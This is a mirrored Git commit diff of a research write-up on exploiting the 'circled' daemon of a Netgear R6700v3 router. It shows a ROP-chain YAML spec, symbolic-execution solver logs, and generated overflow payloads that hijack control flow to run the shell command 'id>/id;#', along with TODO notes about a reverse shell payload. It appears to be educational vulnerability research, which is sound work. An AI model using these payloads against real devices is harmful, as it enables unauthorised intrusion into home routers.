mirror of
https://github.com/cyber-defence-campus/netgear_r6700v3_circled
synced 2026-08-09 12:29:06 +00:00
Content morion_rop_generator added
This commit is contained in:
Damian Pfammatter
+124
-210
@@ -12,6 +12,11 @@
|
||||
- [ ] Do in all chapters: ``` -> ```shell or ```python
|
||||
- [ ] Table of Contents
|
||||
- [ ] Try out manual exploit
|
||||
- [ ] Can morion_rop_generator merge the payloads?
|
||||
- [ ] Can we integrate morion/circled.rop3.py to circled.server.py?
|
||||
- [ ] Document gdb debug output to show payload works
|
||||
- [ ] Create screencast using morion_pwndbg
|
||||
- [ ] Remove circled.exploit.md and circled.exploit.py from git repository
|
||||
--------------------------------------------------------------------------------------------------->
|
||||
# Exploitation
|
||||
## morion_control_hijacker
|
||||
@@ -146,7 +151,6 @@ In [2]: run -i circled.rop2.py
|
||||
[...]
|
||||
```
|
||||
|
||||
<!--PROCEED HERE-->
|
||||
## morion_rop_generator
|
||||
|
||||
[circled.init.yaml](../morion/circled.init.yaml#L37):
|
||||
@@ -156,7 +160,7 @@ ropchains:
|
||||
default:
|
||||
- preconditions:
|
||||
mems:
|
||||
'[sp+32+0]': '0xb8' # pc = [sp+8*4] = 0x0000c9b8
|
||||
'[sp+32+0]': '0xb8' # pc == [sp+8*4] == 0x0000c9b8
|
||||
'[sp+32+1]': '0xc9'
|
||||
'[sp+32+2]': '0x00'
|
||||
'[sp+32+3]': '0x00'
|
||||
@@ -167,17 +171,17 @@ ropchains:
|
||||
['0x0000c9b8', '06 00 a0 e1', 'mov r0, r6', 'Gadget 1.0']
|
||||
- preconditions:
|
||||
regs:
|
||||
'r0': '0xbeffc290' # r0 = 0xbeffc104+396 = 0xbeffc290
|
||||
'r0': '0xbeffc250' # r6 == 0xbeffc0c4+396 == 0xbeffc250
|
||||
mems:
|
||||
'0xbeffc290': '0x69' # 'i'
|
||||
'0xbeffc291': '0x64' # 'd'
|
||||
'0xbeffc292': '0x3e' # '>'
|
||||
'0xbeffc293': '0x2f' # '/'
|
||||
'0xbeffc294': '0x69' # 'i'
|
||||
'0xbeffc295': '0x64' # 'd'
|
||||
'0xbeffc296': '0x3b' # ';'
|
||||
'0xbeffc297': '0x23' # '#'
|
||||
'0xbeffc298': '0x00' #
|
||||
'0xbeffc250': '0x69' # 'i'
|
||||
'0xbeffc251': '0x64' # 'd'
|
||||
'0xbeffc252': '0x3e' # '>'
|
||||
'0xbeffc253': '0x2f' # '/'
|
||||
'0xbeffc254': '0x69' # 'i'
|
||||
'0xbeffc255': '0x64' # 'd'
|
||||
'0xbeffc256': '0x3b' # ';'
|
||||
'0xbeffc257': '0x23' # '#'
|
||||
'0xbeffc258': '0x00' #
|
||||
instruction:
|
||||
['0x0000c9bc', 'b7 f2 ff eb', 'bl #0x94a0', 'Gadget 1.1']
|
||||
```
|
||||
@@ -185,151 +189,108 @@ ropchains:
|
||||
`morion_rop_generator circled.yaml default`:
|
||||
```
|
||||
[...]
|
||||
[2024-04-10 16:09:45] [DEBG] 0x0000cf1c (ff df 8d e2): add sp, sp, #0x3fc #
|
||||
[2024-04-10 16:09:45] [DEBG] 0x0000cf20 (03 db 8d e2): add sp, sp, #0xc00 #
|
||||
[2024-04-10 16:09:45] [INFO] ... finished symbolic execution (pc=0x0000cf24).
|
||||
[2024-04-10 16:09:45] [INFO] Start loading preconditions of instruction 0 in ROP chain 'default'...
|
||||
[2024-04-10 16:09:45] [DEBG] Regs:
|
||||
[2024-04-10 16:09:45] [DEBG] Mems:
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc84c == 0xb8
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc84d == 0xc9
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc84e == 0x00
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc84f == 0x00
|
||||
[2024-04-10 16:09:45] [INFO] ... finished loading preconditions of instruction 0 in ROP chain 'default'.
|
||||
[2024-04-10 16:09:45] [INFO] Start solving preconditions of instruction 0 in ROP chain 'default'...
|
||||
[2024-04-10 16:09:45] [DEBG] Solution:
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc24c: 0xb8 [INST:5132, MODEL:fgets@libc:s+392]
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc24d: 0xc9 [INST:5132, MODEL:fgets@libc:s+393]
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc24e: 0x00 [INST:5132, MODEL:fgets@libc:s+394]
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc24f: 0x00 [INST:5132, MODEL:fgets@libc:s+395]
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc0c4: 0xff [INST:15451, MODEL:fgets@libc:s+0]
|
||||
[2024-04-10 16:09:45] [INFO] ... finished solving preconditions of instruction 0 in ROP chain 'default'.
|
||||
[2024-04-10 16:09:45] [INFO] Start concretizing preconditions of instruction 0 in ROP chain 'default'...
|
||||
[2024-04-10 16:09:45] [DEBG] Regs:
|
||||
[2024-04-10 16:09:45] [DEBG] Mems:
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc84c: 0xb8
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc84d: 0xc9
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc84e: 0x00
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc84f: 0x00
|
||||
[2024-04-10 16:09:45] [INFO] ... finished concretizing preconditions of instruction 0 in ROP chain 'default'...
|
||||
[2024-04-10 16:09:45] [INFO] Start symbolic execution of instruction 0 in ROP chain 'default'...
|
||||
[2024-04-10 16:09:45] [DEBG] 0x0000cf24 (f0 8f bd e8): pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}# Gadget 0.0
|
||||
[2024-04-10 16:09:45] [INFO] ... finished symbolic execution of instruction 0 in ROP chain 'default'.
|
||||
[2024-04-10 16:09:45] [INFO] Start loading preconditions of instruction 1 in ROP chain 'default'...
|
||||
[2024-04-10 16:09:45] [DEBG] Regs:
|
||||
[2024-04-10 16:09:45] [DEBG] Mems:
|
||||
[2024-04-10 16:09:45] [INFO] ... finished loading preconditions of instruction 1 in ROP chain 'default'.
|
||||
[2024-04-10 16:09:45] [INFO] Start solving preconditions of instruction 1 in ROP chain 'default'...
|
||||
[2024-04-10 16:09:45] [DEBG] Instruction 1 of ROP chain 'default' has no precondittions.
|
||||
[2024-04-10 16:09:45] [INFO] ... finished solving preconditions of instruction 1 in ROP chain 'default'.
|
||||
[2024-04-10 16:09:45] [INFO] Start concretizing preconditions of instruction 1 in ROP chain 'default'...
|
||||
[2024-04-10 16:09:45] [DEBG] Regs:
|
||||
[2024-04-10 16:09:45] [DEBG] Mems:
|
||||
[2024-04-10 16:09:45] [INFO] ... finished concretizing preconditions of instruction 1 in ROP chain 'default'...
|
||||
[2024-04-10 16:09:45] [INFO] Start symbolic execution of instruction 1 in ROP chain 'default'...
|
||||
[2024-04-10 16:09:45] [DEBG] 0x0000c9b8 (06 00 a0 e1): mov r0, r6 # Gadget 1.0
|
||||
[2024-04-10 16:09:45] [INFO] ... finished symbolic execution of instruction 1 in ROP chain 'default'.
|
||||
[2024-04-10 16:09:45] [INFO] Start loading preconditions of instruction 2 in ROP chain 'default'...
|
||||
[2024-04-10 16:09:45] [DEBG] Regs:
|
||||
[2024-04-10 16:09:45] [DEBG] r0 == 0xbeffc290
|
||||
[2024-04-10 16:09:45] [DEBG] Mems:
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc290 == 0x69
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc291 == 0x64
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc292 == 0x3e
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc293 == 0x2f
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc294 == 0x69
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc295 == 0x64
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc296 == 0x3b
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc297 == 0x23
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc298 == 0x00
|
||||
[2024-04-10 16:09:45] [INFO] ... finished loading preconditions of instruction 2 in ROP chain 'default'.
|
||||
[2024-04-10 16:09:45] [INFO] Start solving preconditions of instruction 2 in ROP chain 'default'...
|
||||
[2024-04-10 16:09:45] [DEBG] Solution:
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc234: 0x90 [INST:5132, MODEL:fgets@libc:s+368]
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc235: 0xc2 [INST:5132, MODEL:fgets@libc:s+369]
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc236: 0xff [INST:5132, MODEL:fgets@libc:s+370]
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc237: 0xbe [INST:5132, MODEL:fgets@libc:s+371]
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc24c: 0xb8 [INST:5132, MODEL:fgets@libc:s+392]
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc24d: 0xc9 [INST:5132, MODEL:fgets@libc:s+393]
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc24e: 0x00 [INST:5132, MODEL:fgets@libc:s+394]
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc24f: 0x00 [INST:5132, MODEL:fgets@libc:s+395]
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc0c4: 0xff [INST:15451, MODEL:fgets@libc:s+0]
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc290: 0x69 [INST:15451, MODEL:fgets@libc:s+460]
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc291: 0x64 [INST:15451, MODEL:fgets@libc:s+461]
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc292: 0x3e [INST:15451, MODEL:fgets@libc:s+462]
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc293: 0x2f [INST:15451, MODEL:fgets@libc:s+463]
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc294: 0x69 [INST:15451, MODEL:fgets@libc:s+464]
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc295: 0x64 [INST:15451, MODEL:fgets@libc:s+465]
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc296: 0x3b [INST:15451, MODEL:fgets@libc:s+466]
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc297: 0x23 [INST:15451, MODEL:fgets@libc:s+467]
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc298: 0x00 [INST:15451, MODEL:fgets@libc:s+468]
|
||||
[2024-04-10 16:09:45] [INFO] ... finished solving preconditions of instruction 2 in ROP chain 'default'.
|
||||
[2024-04-10 16:09:45] [INFO] Start concretizing preconditions of instruction 2 in ROP chain 'default'...
|
||||
[2024-04-10 16:09:45] [DEBG] Regs:
|
||||
[2024-04-10 16:09:45] [DEBG] r0: 0xbeffc290
|
||||
[2024-04-10 16:09:45] [DEBG] Mems:
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc290: 0x69
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc291: 0x64
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc292: 0x3e
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc293: 0x2f
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc294: 0x69
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc295: 0x64
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc296: 0x3b
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc297: 0x23
|
||||
[2024-04-10 16:09:45] [DEBG] 0xbeffc298: 0x00
|
||||
[2024-04-10 16:09:45] [INFO] ... finished concretizing preconditions of instruction 2 in ROP chain 'default'...
|
||||
[2024-04-10 16:09:45] [INFO] Start symbolic execution of instruction 2 in ROP chain 'default'...
|
||||
[2024-04-10 16:09:45] [DEBG] 0x0000c9bc (b7 f2 ff eb): bl #0x94a0 # Gadget 1.1
|
||||
[2024-04-10 16:09:45] [INFO] ... finished symbolic execution of instruction 2 in ROP chain 'default'.
|
||||
[2024-04-10 16:09:45] [INFO] Start storing file 'circled.yaml'...
|
||||
[2024-04-10 16:09:47] [INFO] ... finished storing file 'circled.yaml'.
|
||||
[2024-04-10 16:09:47] [INFO] Start dumping payloads...
|
||||
[2024-04-11 15:18:04] [DEBG] 0x0000cf1c (ff df 8d e2): add sp, sp, #0x3fc #
|
||||
[2024-04-11 15:18:04] [DEBG] 0x0000cf20 (03 db 8d e2): add sp, sp, #0xc00 #
|
||||
[2024-04-11 15:18:04] [INFO] ... finished symbolic execution (pc=0x0000cf24).
|
||||
[2024-04-11 15:18:04] [INFO] Start loading preconditions of instruction 0 in ROP chain 'default'...
|
||||
[2024-04-11 15:18:04] [DEBG] Regs:
|
||||
[2024-04-11 15:18:04] [DEBG] Mems:
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc84c == 0xb8
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc84d == 0xc9
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc84e == 0x00
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc84f == 0x00
|
||||
[2024-04-11 15:18:04] [INFO] ... finished loading preconditions of instruction 0 in ROP chain 'default'.
|
||||
[2024-04-11 15:18:04] [INFO] Start solving preconditions of instruction 0 in ROP chain 'default'...
|
||||
[2024-04-11 15:18:04] [DEBG] Solution:
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc24c: 0xb8 [INST:5132, MODEL:fgets@libc:s+392]
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc24d: 0xc9 [INST:5132, MODEL:fgets@libc:s+393]
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc24e: 0x00 [INST:5132, MODEL:fgets@libc:s+394]
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc24f: 0x00 [INST:5132, MODEL:fgets@libc:s+395]
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc0c4: 0xff [INST:15451, MODEL:fgets@libc:s+0]
|
||||
[2024-04-11 15:18:04] [INFO] ... finished solving preconditions of instruction 0 in ROP chain 'default'.
|
||||
[2024-04-11 15:18:04] [INFO] Start concretizing preconditions of instruction 0 in ROP chain 'default'...
|
||||
[2024-04-11 15:18:04] [DEBG] Regs:
|
||||
[2024-04-11 15:18:04] [DEBG] Mems:
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc84c: 0xb8
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc84d: 0xc9
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc84e: 0x00
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc84f: 0x00
|
||||
[2024-04-11 15:18:04] [INFO] ... finished concretizing preconditions of instruction 0 in ROP chain 'default'...
|
||||
[2024-04-11 15:18:04] [INFO] Start symbolic execution of instruction 0 in ROP chain 'default'...
|
||||
[2024-04-11 15:18:04] [DEBG] 0x0000cf24 (f0 8f bd e8): pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}# Gadget 0.0
|
||||
[2024-04-11 15:18:04] [INFO] ... finished symbolic execution of instruction 0 in ROP chain 'default'.
|
||||
[2024-04-11 15:18:04] [INFO] Start loading preconditions of instruction 1 in ROP chain 'default'...
|
||||
[2024-04-11 15:18:04] [DEBG] Regs:
|
||||
[2024-04-11 15:18:04] [DEBG] Mems:
|
||||
[2024-04-11 15:18:04] [INFO] ... finished loading preconditions of instruction 1 in ROP chain 'default'.
|
||||
[2024-04-11 15:18:04] [INFO] Start solving preconditions of instruction 1 in ROP chain 'default'...
|
||||
[2024-04-11 15:18:04] [DEBG] Instruction 1 of ROP chain 'default' has no precondittions.
|
||||
[2024-04-11 15:18:04] [INFO] ... finished solving preconditions of instruction 1 in ROP chain 'default'.
|
||||
[2024-04-11 15:18:04] [INFO] Start concretizing preconditions of instruction 1 in ROP chain 'default'...
|
||||
[2024-04-11 15:18:04] [DEBG] Regs:
|
||||
[2024-04-11 15:18:04] [DEBG] Mems:
|
||||
[2024-04-11 15:18:04] [INFO] ... finished concretizing preconditions of instruction 1 in ROP chain 'default'...
|
||||
[2024-04-11 15:18:04] [INFO] Start symbolic execution of instruction 1 in ROP chain 'default'...
|
||||
[2024-04-11 15:18:04] [DEBG] 0x0000c9b8 (06 00 a0 e1): mov r0, r6 # Gadget 1.0
|
||||
[2024-04-11 15:18:04] [INFO] ... finished symbolic execution of instruction 1 in ROP chain 'default'.
|
||||
[2024-04-11 15:18:04] [INFO] Start loading preconditions of instruction 2 in ROP chain 'default'...
|
||||
[2024-04-11 15:18:04] [DEBG] Regs:
|
||||
[2024-04-11 15:18:04] [DEBG] r0 == 0xbeffc290
|
||||
[2024-04-11 15:18:04] [DEBG] Mems:
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc290 == 0x69
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc291 == 0x64
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc292 == 0x3e
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc293 == 0x2f
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc294 == 0x69
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc295 == 0x64
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc296 == 0x3b
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc297 == 0x23
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc298 == 0x00
|
||||
[2024-04-11 15:18:04] [INFO] ... finished loading preconditions of instruction 2 in ROP chain 'default'.
|
||||
[2024-04-11 15:18:04] [INFO] Start solving preconditions of instruction 2 in ROP chain 'default'...
|
||||
[2024-04-11 15:18:04] [DEBG] Solution:
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc234: 0x90 [INST:5132, MODEL:fgets@libc:s+368]
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc235: 0xc2 [INST:5132, MODEL:fgets@libc:s+369]
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc236: 0xff [INST:5132, MODEL:fgets@libc:s+370]
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc237: 0xbe [INST:5132, MODEL:fgets@libc:s+371]
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc24c: 0xb8 [INST:5132, MODEL:fgets@libc:s+392]
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc24d: 0xc9 [INST:5132, MODEL:fgets@libc:s+393]
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc24e: 0x00 [INST:5132, MODEL:fgets@libc:s+394]
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc24f: 0x00 [INST:5132, MODEL:fgets@libc:s+395]
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc0c4: 0xff [INST:15451, MODEL:fgets@libc:s+0]
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc290: 0x69 [INST:15451, MODEL:fgets@libc:s+460]
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc291: 0x64 [INST:15451, MODEL:fgets@libc:s+461]
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc292: 0x3e [INST:15451, MODEL:fgets@libc:s+462]
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc293: 0x2f [INST:15451, MODEL:fgets@libc:s+463]
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc294: 0x69 [INST:15451, MODEL:fgets@libc:s+464]
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc295: 0x64 [INST:15451, MODEL:fgets@libc:s+465]
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc296: 0x3b [INST:15451, MODEL:fgets@libc:s+466]
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc297: 0x23 [INST:15451, MODEL:fgets@libc:s+467]
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc298: 0x00 [INST:15451, MODEL:fgets@libc:s+468]
|
||||
[2024-04-11 15:18:04] [INFO] ... finished solving preconditions of instruction 2 in ROP chain 'default'.
|
||||
[2024-04-11 15:18:04] [INFO] Start concretizing preconditions of instruction 2 in ROP chain 'default'...
|
||||
[2024-04-11 15:18:04] [DEBG] Regs:
|
||||
[2024-04-11 15:18:04] [DEBG] r0: 0xbeffc290
|
||||
[2024-04-11 15:18:04] [DEBG] Mems:
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc290: 0x69
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc291: 0x64
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc292: 0x3e
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc293: 0x2f
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc294: 0x69
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc295: 0x64
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc296: 0x3b
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc297: 0x23
|
||||
[2024-04-11 15:18:04] [DEBG] 0xbeffc298: 0x00
|
||||
[2024-04-11 15:18:04] [INFO] ... finished concretizing preconditions of instruction 2 in ROP chain 'default'...
|
||||
[2024-04-11 15:18:04] [INFO] Start symbolic execution of instruction 2 in ROP chain 'default'...
|
||||
[2024-04-11 15:18:04] [DEBG] 0x0000c9bc (b7 f2 ff eb): bl #0x94a0 # Gadget 1.1
|
||||
[2024-04-11 15:18:04] [INFO] ... finished symbolic execution of instruction 2 in ROP chain 'default'.
|
||||
[2024-04-11 15:18:04] [INFO] Start storing file 'circled.yaml'...
|
||||
[2024-04-11 15:18:06] [INFO] ... finished storing file 'circled.yaml'.
|
||||
[2024-04-11 15:18:06] [INFO] Start dumping payloads...
|
||||
Payload [INST:5132][MEM][MODEL][fgets@libc:s]
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
41 41 41 41 41 41 41 41
|
||||
[...]
|
||||
41 41 41 41 41 41 41 41
|
||||
90 c2 ff be 42 42 42 42
|
||||
42 42 42 42 42 42 42 42
|
||||
@@ -339,68 +300,21 @@ b8 c9 00 00
|
||||
Payload [INST:15451][MEM][MODEL][fgets@libc:s]
|
||||
ff 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 43 43 43 43
|
||||
[...]
|
||||
43 43 43 43 43 43 43 43
|
||||
43 43 43 43 69 64 3e 2f
|
||||
69 64 3b 23 00
|
||||
---
|
||||
```
|
||||
|
||||
##
|
||||
- CyberChef *From Hex* (Delimiter: `Space`) | *To Hex* (Delimiter: `0x with comma`)
|
||||
- Merge payloads since they originate from the same file
|
||||
|
||||
##
|
||||
- Explain `circled.server.py`
|
||||
- Test reverse shell payload
|
||||
- Explain reverse shell payload
|
||||
- Add screencast
|
||||
[circled.server.py](../server/circled.server.py#L42)
|
||||
```python
|
||||
[...]
|
||||
|
||||
Reference in New Issue
Block a user